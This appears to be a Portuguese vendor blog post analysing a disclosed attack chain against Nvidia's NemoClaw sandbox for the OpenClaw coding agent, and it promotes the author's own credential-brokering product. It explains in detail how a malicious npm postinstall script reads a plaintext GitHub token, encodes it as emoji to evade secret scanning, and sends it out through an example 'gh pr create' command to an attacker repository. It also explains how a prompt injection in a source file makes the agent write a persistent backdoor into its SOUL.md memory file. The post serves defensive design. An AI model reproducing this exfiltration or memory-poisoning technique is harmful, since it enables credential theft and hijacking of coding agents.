Voltar para todas as publicações
Publicado em · por Renaud Deraison

O sandbox que segurava a chave

Em 18 de maio de 2026, a Lasso Security divulgou dois ataques contra o NemoClaw da Nvidia — o sandbox que executa o agente de codificação autônomo OpenClaw. O sandbox funcionou exatamente como a Nvidia disse que funcionaria. O agente dentro do sandbox ainda assim empurrou o token GitHub do usuário para um pull request controlado pelo atacante, codificado como emoji para escapar do scanner estático de segredos do GitHub. A pergunta interessante não é se o sandbox está quebrado. É se um sandbox com um arquivo de credenciais em texto claro dentro dele algum dia foi um sandbox no sentido arquiteturalmente útil, e o que a resposta implica para todo mundo embarcando um agente de codificação em 2026.

Duas coisas podem ser simultaneamente verdadeiras. A primeira é que o sandbox NemoClaw da Nvidia, que envolve o agente de codificação autônomo OpenClaw em um cluster K3s dentro de um contêiner Docker privilegiado, funcionou exatamente da forma que a Nvidia documentou que funcionaria. A segunda é que, em 18 de maio, a Lasso Security publicou um writeup no qual um script postinstall malicioso do npm — rodando dentro desse sandbox, fazendo apenas coisas que o sandbox estava configurado para permitir — leu o token GitHub do usuário de um arquivo de configuração em texto claro, codificou-o como emoji para derrotar o scanner de segredos do GitHub, e empurrou o resultado para um pull request controlado pelo atacante através do mesmo binário gh que a política de saída havia gentilmente colocado na lista branca. A Nvidia respondeu que isso estava fora do escopo do programa de bug bounty, sob o argumento de que o sandbox se comportou exatamente como configurado para rodar. Isso é, em um sentido que a maioria das pessoas de segurança vai achar familiar, tanto correto quanto irrelevante.

Eis a história em três frases. Em 18 de maio de 2026, a Lasso Security publicou uma cadeia de ataque contra o NemoClaw, o sandbox da Nvidia para rodar o OpenClaw — um agente de codificação autônomo que, como o Claude Code ou o agente do Cursor ou o Codex CLI, tem permissão para executar npm install, gh pr create, e git push em nome do usuário. A cadeia tem duas metades: uma metade de exfiltração de credenciais, na qual um pacote malicioso leu /sandbox/.openclaw/openclaw.json (um arquivo em texto claro contendo o token GitHub do usuário junto com chaves para serviços da Anthropic, OpenAI, Gemini, e Nvidia), reescreveu o token como uma sequência de emojis usando uma tabela de lookup construída em tempo de execução, e empurrou o payload codificado para um PR público através do binário gh da lista branca; e uma metade de persistência, na qual uma injeção de prompt plantada em um arquivo fonte rotineiro induziu o agente a reescrever seu próprio SOUL.md — o arquivo de memória comportamental do OpenClaw — com um backdoor que sobrevive a todas as sessões subsequentes. A BDTechTalks cobriu a divulgação no mesmo dia; a resposta da Nvidia, citada em ambos os writeups, foi que o sandbox se comportou exatamente como configurado para rodar e que os cenários caem fora do escopo do programa.

A resposta da Nvidia é, em um sentido técnico restrito, verdadeira. O sandbox é um sandbox. O pod K3s é um pod K3s. A política de saída, que permite ao gh falar com github.com, é uma política que permite ao gh falar com github.com. Nada escapou de seus limites de capacidade. Nada escalou. O contêiner não vazou. Da perspectiva do runtime, cada byte que saiu fez isso através de um binário que o usuário concordou que poderia sair, em direção a um destino que o usuário concordou que ele poderia alcançar.

Acontece que o byte que saiu era o token GitHub do usuário, soletrado com carinhas de desenho animado.

A parte chata da cadeia.

Vamos percorrer a metade das credenciais lentamente, porque a mecânica é o argumento inteiro. O agente recebe uma tarefa — algo sem graça, «configurar este novo projeto a partir de um README do GitHub» — e o README contém, em algum lugar de suas instruções, um passo que se resume a npm install some-helpful-package. O pacote é malicioso, mas da mesma forma discreta com que cem pacotes npm por semana agora são maliciosos: é um typosquat ou uma dependência transitiva de um pacote recentemente comprometido, e ele embarca um script postinstall. O script postinstall faz três coisas que são individualmente permitidas e coletivamente catastróficas.

Ele lê /sandbox/.openclaw/openclaw.json. Esse arquivo está no sistema de arquivos do sandbox; o script está rodando dentro do sandbox; ninguém disse ao sistema de arquivos para não ser legível, porque como o próprio agente usaria o token GitHub se não pudesse ler o arquivo onde o token GitHub mora? Ele extrai o valor ghp_….

Ele carrega um emoji_map.json embarcado dentro do pacote malicioso, que mapeia cada caractere alfanumérico para um emoji — um arquivo JSON perfeitamente comum, completamente inócuo em varredura estática, do tipo de coisa que um formatador de markdown ou um cliente de chat poderia legitimamente embarcar. O script percorre o token caractere por caractere e produz uma string como 🍕🍔🌮🍟…, um emoji por caractere.

Ele executa gh pr create contra um repositório controlado pelo atacante com a string de emoji como corpo do PR. Do ponto de vista da política de saída, isso é gh falando com github.com, que é a única coisa na lista branca que o gh tem permissão para fazer. O PR é criado. Do lado do atacante, um script lê o corpo do PR, inverte o mapa, e reconstrói ghp_…. O scanner de segredos do GitHub também vê o corpo do PR, mas o scanner de segredos do GitHub está procurando por ghp_[A-Za-z0-9]{36}, não por 🍕🍔🌮🍟.

A pesquisadora da Lasso Noy Pearl, citada na divulgação, colocou isso de forma direta: «A codificação em emoji foi a técnica que escolhemos para contornar as varreduras estáticas do GitHub» e «enquanto o agente tiver conexão com o mundo externo, nenhum mecanismo estático pode te proteger completamente.» Esta é a parte onde você acena com a cabeça e diz que sim, obviamente, você não pode colocar na lista branca um protocolo capaz de carregar bytes arbitrários e depois se surpreender quando bytes arbitrários passam por ele. Uma lista branca L7 que permite gh é uma lista branca L7 que permite qualquer coisa que você possa serializar em um corpo de PR, o que é qualquer coisa.

SANDBOX NEMOCLAW — pod K3s dentro de um contêiner Docker privilegiado, lista branca de saída para gh → github.comAGENTE OPENCLAW> configurar projeto a partir do README.mdtool: bashnpm i helpful-pkg↳ postinstall roda dentro do sandboxARQUIVO DE CREDENCIAIS/sandbox/.openclaw/ openclaw.json "github": "ghp_real_…" "anthropic": "sk-ant…" "openai": "sk-…" "nvidia": "…"EMOJI_MAP.JSON (embarcado pelo pacote)"g": 🍕, "h": 🍔, "p": 🌮"_": 🍟, "r": 🥗, "e": 🍣"a": 🍩, "l": 🍪, …scanners estáticos: «é um arquivo JSON»postinstall: percorrer token, emitir emojighp_real_xxx → 🍕🍔🌮🍟🥗🍣🍩🍪…SAÍDA — gh está na lista branca para github.com, então isto é permitido$ gh pr create --repo attacker-handle/totally-normal-repo --title "fix: typo in readme" --body "🍕🍔🌮🍟🥗🍣🍩🍪…"política de saída: gh → github.com ✓scanner segredos github: regex não vê 🍕filtro L7 sandbox: é só um PRPR aberto. Corpo é público.ATACANTE — fora do sandbox, lendo PRs públicoswebhook: PR abertolê corpo, inverte emoji_map🍕🍔🌮🍟🥗🍣🍩🍪… → ghp_real_…token recuperado; sandbox nunca quebrouCada seta nesta figura é «permitida» pela configuração do sandbox. A lição é estrutural, não configuracional.
A cadeia de exfiltração da Lasso, de cima para baixo. O agente executa npm install. Um script postinstall dentro do sandbox lê /sandbox/.openclaw/openclaw.json — um arquivo que o sandbox colocou ali para que o próprio agente pudesse se autenticar no GitHub — extrai o token ghp_, procura cada caractere em um emoji_map.json que o pacote malicioso embarcou (JSON de aparência inócua, passa em qualquer varredura estática), e emite uma string de emoji. Ele então invoca o gh — que a política de saída L7 do sandbox coloca na lista branca para github.com — para criar um pull request cujo corpo é a string de emoji. O scanner de segredos do GitHub vê o PR; ele está procurando por ghp_[A-Za-z0-9]{36}, não por comida de desenho animado. Do lado do atacante, um webhook lê o corpo do PR e reverte o mapa. O token agora é público. O sandbox fez exatamente o que disse que faria.

A metade de persistência — SOUL.md — é mecanicamente diferente mas filosoficamente a mesma. O OpenClaw, segundo o writeup da Lasso, mantém um arquivo de memória comportamental chamado SOUL.md que o agente lê no início de cada sessão: regras, instruções de sistema, contexto acumulado sobre as preferências do usuário. O agente também pode escrever nesse arquivo, porque a premissa inteira de memória de longa duração é que o agente deveria ser capaz de atualizar suas próprias crenças. Uma injeção de prompt plantada em um arquivo fonte de aparência perfeitamente normal que o agente processa durante uma tarefa rotineira — o exemplo da Lasso é um arquivo de texto que apenas contém instruções formuladas da maneira como dados de treinamento são formulados — faz com que o agente acrescente uma regra de backdoor ao SOUL.md. As sessões subsequentes carregam o SOUL.md. O backdoor agora é, na própria descrição do agente sobre si mesmo, as preferências do agente. O enquadramento de Pearl sobre a defesa «comportou-se como configurado» da Nvidia é o afiado: «O sandbox se comportou como configurado é um argumento aceitável quando a coisa rodando dentro é um programa determinístico. Ele não sobrevive ao contato com agentes guiados por LLM, cujo comportamento é moldado em tempo de execução por cada pedaço de texto que eles ingerem.»

Um token em um arquivo é um token em um arquivo.

A frase arquitetural que quero escrever aqui, antes de chegar ao que o Bromure faz a respeito de tudo isso, é esta: um segredo de longa duração que vive como um arquivo em texto claro dentro do mesmo raio de explosão que o código que o agente executa é, para fins de qualquer adversário capaz de executar código nesse raio de explosão, equivalente a um segredo público. O sandbox não muda isso. O pod K3s não muda isso. A lista branca de saída não muda isso, porque a lista branca de saída tem permissão para falar com o GitHub, e falar com o GitHub — por design, por intenção do usuário, pela razão inteira pela qual o agente existe — é o mesmo canal que o pacote malicioso vai usar.

Existe uma correção bem-compreendida para isso, e ela antecede os agentes de IA em décadas, e a indústria de segurança vem usando-a discretamente desde os anos 1990. A correção é colocar o segredo do outro lado de uma fronteira de processo e intermediar seu uso, nunca seu valor.

O exemplo canônico é o ssh-agent. Sua chave privada SSH vive em uma região de memória pertencente ao processo ssh-agent. Quando o ssh precisa se autenticar, ele não diz «me dê a chave»; ele envia os bytes do desafio por um socket de domínio Unix e recebe de volta uma assinatura. A chave nunca atravessa o socket. Um binário malicioso rodando como o mesmo usuário pode pedir ao ssh-agent para assinar coisas, certo — esse é o ponto inteiro do agente — mas ele não pode ler a chave, não pode copiá-la, não pode exfiltrá-la, não pode enviá-la para casa. Quando a sessão termina, a chave morre com o processo. WebAuthn faz estruturalmente a mesma coisa para navegadores: a chave privada vive no TPM ou no Secure Enclave, a página pede ao navegador para assinar um desafio, a página nunca vê a chave. A migração de uma década da indústria para longe de senhas-em-localStorage é, quando você olha de perto, a mesma migração que o NemoClaw precisa fazer. Apenas um andar acima.

E funciona para o GitHub também. O CLI gh vem com um helper de credenciais que, no macOS, pode armazenar o token no Keychain em vez de em um arquivo de configuração em texto claro. Mais utilmente para o caso do sandbox, GitHub Apps emitem tokens de instalação que são de curta duração (tipicamente uma hora), escopados para repositórios específicos, e revogáveis; um proxy de assinatura rodando fora do sandbox pode cunhar um destes sob demanda, anexá-lo a uma requisição que o agente gerou, e encaminhar o resultado. O sandbox vê uma resposta HTTP genérica. O sandbox não vê o token. Um script postinstall malicioso pedindo para ler o token do endpoint intermediado obtém de volta, na melhor das hipóteses, um token de uma hora escopado para um repo — suficiente para fazer o que quer que o agente estivesse de fato fazendo em nome do usuário, insuficiente para valer a pena exfiltrar.

SANDBOX (VM Bromure por perfil) — o que o script postinstall malicioso pode verAGENTE DE CODIFICAÇÃO$ gh pr create … → /var/run/cred.socksem token no env,sem token no discoFILESYSTEM & ENV — sem credencial em texto claro/sandbox/.openclaw/openclaw.jsonArquivo inexistente$GH_TOKENnão definido$GITHUB_TOKENnão definido/var/run/cred.socksocket Unix → intermediário hostPOSTINSTALLcat openclaw.json ENOENTenv | grep TOKEN (vazio)FRONTEIRA PROCESSO / VM — apenas RPC, valor nunca atravessaHOST — intermediário de credenciais mantém a chave realCOFRE DE CREDENCIAIS REALKeychain macOS / ssh-agentid_ed25519 (privada)helper credenciais ghghp_real_…chave privada GitHub App→ cunha tokens 1h escopadosMesmo padrão do ssh-agent (1995).Mesmo padrão do WebAuthn (2018).PROXY DE ASSINATURA — usa a chave, nunca a expõelisten /var/run/cred.sock RPC: «assine este git push para o repo X» cunha token de instalação, escopo=X, ttl=1h anexa cabeçalho Authorization na saída encaminha HTTPS, retorna respostaRPC «me dê o token» → não implementadoRPC: por favor empurre por mim
O que a intermediação de credenciais faz com a mesma cadeia. O openclaw.json em texto claro se foi; em seu lugar está um intermediário de credenciais rodando fora do sandbox, no host. Quando o agente dentro do sandbox precisa empurrar um commit, ele fala com um proxy do lado host por um socket de domínio Unix. O proxy mantém a credencial GitHub real de longa duração (ou um GitHub App que cunha tokens de instalação de curta duração sob demanda). O proxy anexa a credencial à requisição de saída, encaminha-a, e devolve a resposta ao sandbox. O token nunca entra na memória ou no sistema de arquivos do sandbox. Um script postinstall malicioso lendo o sistema de arquivos do sandbox não encontra nenhum token para codificar. Um script postinstall malicioso pedindo ao intermediário para assinar algo obtém, no máximo, um token escopado de uma hora vinculado ao repo para o qual o agente já estava autorizado — a mesma postura que o ssh-agent deu aos usuários Unix desde os anos 1990, apenas aplicada ao GitHub.

O padrão tem um nome em cada domínio que o usa — ssh-agent, WebAuthn, assinatura com respaldo de HSM, helper de credenciais do gh, AWS IAM Roles Anywhere — e a propriedade subjacente é sempre a mesma: o consumidor da credencial é um processo diferente do detentor da credencial, e eles se comunicam por um canal mais estreito do que «leia os bytes». É a diferença entre «o agente pode se autenticar no GitHub» e «o agente pode ler o token GitHub». Um sandbox que erra isso é um sandbox que colocou a chave da porta da frente do mesmo lado da porta que as pessoas com quem você estava preocupado.

Isto é, sem ambiguidade, o que o Bromure faz pela VM por perfil que roda seu agente de codificação. O agente dentro da VM se autentica no GitHub falando com um intermediário de credenciais no host macOS por um socket de domínio Unix encaminhado; o token GitHub (ou, melhor, a chave privada do GitHub App que cunha tokens escopados de curta duração) vive do lado host do hipervisor, no Keychain do macOS, onde a VM não pode vê-lo. O agente nunca lê o valor do segredo, apenas o usa através do proxy. Um script postinstall que executa cat /sandbox/.openclaw/openclaw.json não encontra nada; um que executa env | grep TOKEN não encontra nada; um que pede ao intermediário «por favor me dê o token» descobre que o vocabulário RPC do intermediário não inclui esse verbo. A mesma postura, aplicada ao agente GitHub da maneira que foi aplicada ao SSH por trinta anos.

Uma sugestão educada não é um perímetro.

O truque do emoji da Lasso é, em um sentido profundo, um comentário sobre listas brancas. A política de saída permitia que gh falasse com github.com. A suposição implícita era que as coisas que o gh faria com github.com seriam coisas que um desenvolvedor razoável iria querer fazer — clonar, empurrar, abrir PRs, comentar em issues. Mas gh pr create --body "$ANYTHING" é, por construção, uma primitiva que carrega bytes arbitrários para um destino publicamente legível. Você não pode colocar essa primitiva na lista branca e ao mesmo tempo impedir que bytes arbitrários passem por ela. A lista branca está fazendo o que disse. Ela só não está fazendo o que você pensou que ela disse.

Esta é a parte do writeup da Lasso que deveria fazer qualquer um rodando um agente em produção sentar. Uma lista branca L7 que permite um protocolo capaz de carregar bytes arbitrários não é um perímetro. É uma sugestão educada de que os bytes dentro do protocolo sejam os bytes que você tinha em mente. Sejam os bytes em um corpo de PR, em uma mensagem de commit, em um comentário de issue, em um blob git-LFS, nos metadados de um tarball enviado como ativo de release — o protocolo é o vazamento. Não existe filtro estático que «entenda» a diferença entre um PR legitimamente cheio de emoji («nosso time usa 🍰 para significar release») e um token GitHub codificado em emoji, porque a diferença é semântica e o filtro é sintático.

Então o que detectaria isso? A resposta honesta é que nenhum truque sozinho faz; a estrutura que faz é uma combinação, e cada peça é desinteressante por si só.

A primeira peça é orçamentos de bytes de saída por sessão. Uma sessão cujo briefing é «corrigir um typo no README.md» não deveria estar empurrando 14 kilobytes de blob binário para um corpo de PR, nunca, por nenhuma razão. Você não precisa saber o que são os bytes; você precisa saber o que a sessão deveria entregar. Incompatibilidade de forma entre briefing e saída é computável, mas apenas se algo fora do agente estiver mantendo registro do briefing e da saída no mesmo lugar. O auto-relato do agente não serve; o agente é a coisa sob suspeita.

A segunda é detecção de anomalia de forma de conteúdo em operações git de saída. Um PR cujo corpo é 95% emoji, ou 95% base64, ou 95% hex, em um repositório cujo histórico contém zero desses PRs, é uma bandeira. Não é prova; é uma bandeira. O lugar certo para computar essa bandeira é o proxy de saída, que vê a requisição de saída antes que ela deixe o host. O proxy de nível hipervisor do Bromure é o lugar que pode computar isso sem confiar no convidado, porque o convidado é exatamente a coisa sob suspeita.

A terceira é diffs de fim de sessão do que saiu da caixa contra o que a sessão deveria produzir. No fim de uma sessão, a VM produziu um conjunto de requisições HTTP de saída, um conjunto de escritas de arquivo no projeto montado, um conjunto de commits git. Se o briefing da sessão era «corrigir um typo», e as requisições de saída incluem POST /repos/attacker-handle/random-repo/pulls, isso é um diff que pode ser mostrado a um humano em duas linhas. Não bloqueado, necessariamente — às vezes agentes genuinamente precisam fazer coisas surpreendentes — mas mostrado. O padrão atual em 2026, através da maioria dos produtos de agente de codificação, é «confia em mim, funcionou», e o usuário não tem artefato para inspecionar mesmo se quisesse.

O pipeline de auditoria é o artefato.

Esta é a parte onde vale a pena dizer em voz alta o que o Bromure Enterprise de fato entrega, porque a alternativa — confiar nos próprios logs do agente — é o que levou o NemoClaw a essa posição em primeiro lugar. Os logs do agente são escritos pelo agente. Se o agente foi instruído por um SOUL.md envenenado a mentir sobre o que fez, os logs do agente vão mentir sobre o que ele fez. Existe exatamente um lugar que pode produzir um registro verdadeiro do que um agente fez, e é a camada abaixo do agente.

O Bromure Enterprise registra, do lado host do hipervisor, «a sessão completa — chamadas de ferramentas, comandos shell, edições de arquivo, códigos de saída» como JSON Lines. O tracing está ligado por padrão; engenheiros não fazem opt-in; o agente dentro da VM é Claude Code, Codex, ou Cursor sem modificações. O stream é «capturado fora da VM em um fluxo de JSON Lines resistente a adulteração e entregue ao sink de logs que você já alimenta (SIEM, data lake, arquivo de retenção).» Uma dependência comprometida dentro da VM não pode apagá-lo, porque as escritas acontecem do outro lado da fronteira do hipervisor que a dependência não pode atravessar.

As consequências interessantes:

  • «Esta sessão empurrou para um repo que não era o repo do usuário» é um grep. Não um grep metafórico. Um grep literal contra o JSON Lines de ontem.
  • «Esta sessão abriu um PR cujo corpo não parece prosa» é uma regex contra o payload de chamada de ferramenta capturado.
  • «Algo modificou SOUL.md» é uma consulta em eventos de edição de arquivo. Se um script postinstall reescreveu o arquivo de identidade do agente, esse fato vive no trace independentemente de o próprio agente ter mencionado ou não.
  • Replay. Os traces se anexam a um pull request. O revisor lê o diff e a sequência de prompts, chamadas de ferramenta, e comandos shell que produziram o diff. Ou, na linguagem da página de produto do Bromure: «replay do dia em que o modelo decidiu deletar a pasta migrations.» Replay forense é a parte desta história que não existe em nenhum outro lugar, porque requer ter capturado as entradas e as saídas e as respostas do modelo no mesmo stream — o que o próprio agente não pode produzir sem primeiro ser confiado para não mentir.

Nada disso pega um atacante determinado que molda a exfiltração para parecer prosa; não existe perímetro contra um adversário disposto a gastar bytes em disfarce. O que isso pega é todo atacante que não fez isso, que é a maioria deles, e produz o registro forense que transforma o próximo incidente de «não temos ideia do que o agente fez» em «temos a linha 14.332 do trace da sessão de ontem». O padrão de 2026 de «o agente disse que teve sucesso» é equivalente a rodar produção em um servidor sem logs.

E quanto à injeção de prompt dentro da sessão?

Vale a pena ser claro sobre o que o isolamento por VM não corrige, porque as pessoas mais propensas a ler este post são as mesmas pessoas mais propensas a serem informadas, por alguém vendendo o produto oposto, de que VMs são uma panaceia. Não são.

O backdoor do SOUL.md — e qualquer injeção de prompt que tenha efeito durante uma sessão — roda dentro da VM, com qualquer escopo que o usuário concedeu ao agente. Se o usuário disse ao agente «criar um PR neste repo», a injeção de prompt pode criar um PR neste repo. Se o agente tem acesso de escrita à pasta do projeto, a injeção de prompt pode escrever um backdoor na pasta do projeto. A VM não revisa o diff. O que a VM faz é manter o diff e sua proveniência em um lugar onde alguém possa revisá-lo depois, o que acontece de ser a parte que estava faltando.

O que o isolamento por VM mais a intermediação de credenciais corrige é a parte catastrófica — a parte onde um único postinstall ruim sai com um token GitHub permanente, um token npm permanente, suas credenciais AWS, e root no laptop do desenvolvedor. Nenhuma dessas credenciais vive dentro da VM; as credenciais vivem no Keychain do host e só são alcançadas através de um proxy cujo vocabulário RPC não inclui «me dê os bytes». Um token que o agente pode usar através de um proxy é um token que o agente não pode exfiltrar, porque exfiltração requer ter os bytes para enviar.

A capacidade restante do atacante dentro de um equivalente ao OpenClaw hospedado pelo Bromure — o que ele pode fazer uma vez que fez prompt injection no agente — é fazer o agente executar, dentro do escopo autorizado da sessão, algo que o usuário não pretendia. Abrir um PR com um título estranho. Reescrever o SOUL.md no projeto. Adicionar um postinstall próprio. Todos estes são eventos observáveis: cada edição de arquivo atinge o stream de auditoria JSON Lines, cada requisição de saída atinge o proxy de saída, cada prompt e chamada de ferramenta é registrado fora do agente. Não se pede à VM para impedir o agente vítima de prompt injection de fazer dano dentro do escopo — pede-se a ela que torne esse dano visível e limitado à sessão, para que o host fique limpo e o usuário tenha um trace para ler. Persistência dentro da VM ainda é possível; persistência dentro da VM que ninguém pode ver não é, o que é uma distinção significativa.

Acoplado com intermediação de credenciais, o pior caso para o ataque em um agente hospedado pelo Bromure se parece com: o agente entrega um PR ruim, no repo para o qual já estava autorizado, usando um token de instalação de curta duração, e cada passo aparece em um log resistente a adulteração no host. Isso não é dano zero. Está muito longe de «o atacante tem meu token GitHub permanente, exfiltrado como emoji, mais um backdoor persistente no arquivo comportamental do agente, mais nenhum registro de que qualquer disso aconteceu».

O que é realmente estrutural aqui.

Se você ler o writeup da Lasso e a resposta da Nvidia em sequência, o desacordo não é realmente sobre se o NemoClaw tem um bug digno de CVE. A Nvidia está certa de que o sandbox fez o que estava configurado para fazer. A Lasso está certa de que o que ele estava configurado para fazer é insuficiente. O desacordo é sobre onde a fronteira de confiança pertence.

A Nvidia, na resposta que Pearl cita, desenha a fronteira em «a política configurada». Dentro da política, vale tudo; fora da política, o cliente está por sua conta. Esta é uma posição normal de responsabilidade compartilhada para um vendedor de infraestrutura. Não é, contudo, uma defesa contra o modo de falha que a Lasso demonstrou, porque o modo de falha está dentro da política. A política permite gh. gh pode carregar o token. A política é autoconsistente e inadequada ao mesmo tempo.

A alternativa estrutural — a posição que os posts de codificação agêntica neste blog vêm argumentando em linguagem diferente por seis meses — é desenhar a fronteira na credencial e na observação, não no binário e no destino. A intermediação diz que a credencial nunca entra no sandbox. O pipeline de auditoria de nível hipervisor diz que o que quer que o agente faça dentro do sandbox é capturado por algo no qual o agente não pode escrever e não pode desligar. Juntos eles formam um sandbox onde o pior que um postinstall malicioso pode fazer é o pior que o agente estava autorizado a fazer, no repo que ele já estava tocando, com credenciais que ele não pode exfiltrar porque nunca as teve, e com cada digitação de evidência sentada no seu SIEM.

O pessoal da Nvidia não está errado. A arquitetura do OpenClaw é a arquitetura de cada agente de codificação embarcado este ano, e isso inclui agentes de codificação não rodados dentro de um sandbox de jeito nenhum. O que a Lasso encontrou no NemoClaw é, estruturalmente, o que a Wiz e a Snyk e a Socket encontram a cada duas terças-feiras no Cursor e no Windsurf e no modo YOLO do GitHub Copilot. A classe de problema é «credenciais em texto claro de longa duração acessíveis a tudo o que o agente executa, sem registro do que o agente fez com elas», e a classe de correção é «intermediar a credencial, observar a sessão, guardar os recibos».

Uma última coisa.

Há uma versão deste post onde a lição é «não confie em sandboxes». Essa versão está errada. Sandboxes são ótimos. Há uma versão onde a lição é «agentes de IA são perigosos demais para serem embarcados». Essa versão é, na prática, irrelevante — eles estão embarcados, a pergunta é como. A versão que se sustenta é aquela em que o sandbox para de ser solicitado a fazer trabalho que o sandbox não pode, por construção, fazer.

Um sandbox não pode esconder uma credencial de um processo que roda dentro dele. Um sandbox não pode dizer a diferença entre um corpo de PR com emoji e um token codificado em emoji. Um sandbox não pode transformar um protocolo longo na lista branca em um protocolo curto. O que um sandbox pode fazer é manter as credenciais em algum outro lugar, manter o agente em um lugar onde o hipervisor vê cada movimento que ele faz, e escrever esse registro em um sink que o agente não pode alcançar. Essa é a configuração onde o mesmo pacote npm malicioso, no mesmo tipo de script postinstall, encontra um sistema de arquivos vazio, um socket de credenciais cujo único verbo é «assine esta coisa para mim, brevemente», e um hipervisor do outro lado da parede que vem anotando a conversa inteira.

Bromure Agentic Coding é a configuração onde isso é o padrão. É gratuito, open-source, e disponibilizado hoje. O próximo emoji já está sendo enviado.